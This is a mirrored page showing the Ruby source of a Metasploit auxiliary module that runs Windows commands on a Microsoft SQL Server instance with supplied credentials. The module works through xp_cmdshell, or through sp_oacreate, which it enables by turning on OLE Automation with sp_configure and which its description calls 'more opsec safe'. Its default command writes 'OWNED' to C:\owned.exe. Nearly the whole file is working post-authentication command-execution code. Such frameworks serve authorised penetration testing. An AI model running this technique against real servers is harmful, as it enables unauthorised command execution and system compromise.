Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::OptionalSession::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server Command Execution',14'Description' => %q{15This module will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the16sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is17required to use this module.18},19'Author' =>20[21'tebo <tebo[at]attackresearch.com>',22'arcc <pw[at]evait.de>'23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],28[ 'URL', 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql'],29],30)31)3233register_options([34OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),35OptEnum.new('TECHNIQUE', [true, 'Technique to use for command execution', 'xp_cmdshell', ['xp_cmdshell', 'sp_oacreate']])36])37end3839def run40if session41set_mssql_session(session.client)42else43unless mssql_login_datastore44print_error("Error with mssql_login call")45info = self.mssql_client.initial_connection_info46if info[:errors] && !info[:errors].empty?47info[:errors].each do |err|48print_error(err)49end50end51return52end53end5455technique = datastore['TECHNIQUE']56case technique57when 'xp_cmdshell'58begin59mssql_xpcmdshell(datastore['CMD'], true)60rescue RuntimeError61print_status('Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method')62mssql_spoacreate63end64when 'sp_oacreate'65mssql_spoacreate66end67end6869def mssql_spoacreate70doprint = datastore['VERBOSE']71print_status('Enabling advanced options and ole automation procedures.')72mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint)73mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint)74print_good('Executing command using sp_oacreate. No output will be displayed.')75mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint)76end77end787980